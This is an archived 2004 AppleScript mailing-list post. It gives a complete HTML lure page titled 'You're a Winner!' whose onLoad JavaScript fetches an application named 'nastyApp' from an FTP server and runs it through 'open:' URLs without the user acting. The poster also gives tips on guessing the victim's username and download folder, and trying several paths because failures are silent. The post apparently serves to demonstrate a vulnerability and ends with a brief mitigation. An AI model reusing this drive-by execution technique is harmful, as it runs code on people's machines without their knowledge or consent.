• Open Menu Close Menu
  • Apple
  • Shopping Bag
  • Apple
  • Mac
  • iPad
  • iPhone
  • Watch
  • TV
  • Music
  • Support
  • Search apple.com
  • Shopping Bag
 

Lists

Open Menu Close Menu
  • Terms and Conditions
  • Lists hosted on this site
  • Email the Postmaster
  • Tips for posting to public mailing lists
Re: AppleScript & HTML Again...
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: AppleScript & HTML Again...


  • Subject: Re: AppleScript & HTML Again...
  • From: Nigel Smith <email@hidden>
  • Date: Mon, 29 Mar 2004 13:53:14 +0000

Here's the HTML to get an AppleScript to run on someone else's machine,
without their intervention. If you want to test, test carefully -- may I
suggest "display dialog..." for nastyApp, and not something that will wipe
your hard disk? :-)

----------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<title>You're a Winner!</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
location.href='open:/Users/username/Desktop/Downloads/nastyApp';
location.href='open:/Users/username/Desktop/nastyApp';
}
//-->
</script></head>
<body
onLoad="MM_openBrWindow('ftp://server.name/path/to/nastyApp','','width=50,
height=10')">
Hello Winner!
</body>
</html>
----------

A better (there are few worse than me!) JavaScript coder will do this a lot
better -- new window hidden behind the old, etc.

Yes, you need to guess, or somehow obtain, the username *if* they are
running OSX. You do not need the hard disk name. You need neither the disk
name nor the username in OS9. Most usernames that I see are people's first
name, so there's an in already...

You also need to guess the user's download location -- but most people don't
change their defaults and ML will fail silently if you get it wrong, so you
can try multiple paths.

Simple to fix -- just blacklist the user's download folder in ML, and maybe
whitelist another folder as well.

Nigel
_______________________________________________
applescript-users mailing list | email@hidden
Help/Unsubscribe/Archives: http://www.lists.apple.com/mailman/listinfo/applescript-users
Do not post admin requests to the list. They will be ignored.


References: 
 >Re: AppleScript & HTML Again... (From: Michael Terry <email@hidden>)

  • Prev by Date: Re: OS X File system Layout (was Re: AppleScript & HTML Again...)
  • Next by Date: Re: AppleScript & HTML Again...
  • Previous by thread: Re: AppleScript & HTML Again...
  • Next by thread: Re: AppleScript & HTML Again...
  • Index(es):
    • Date
    • Thread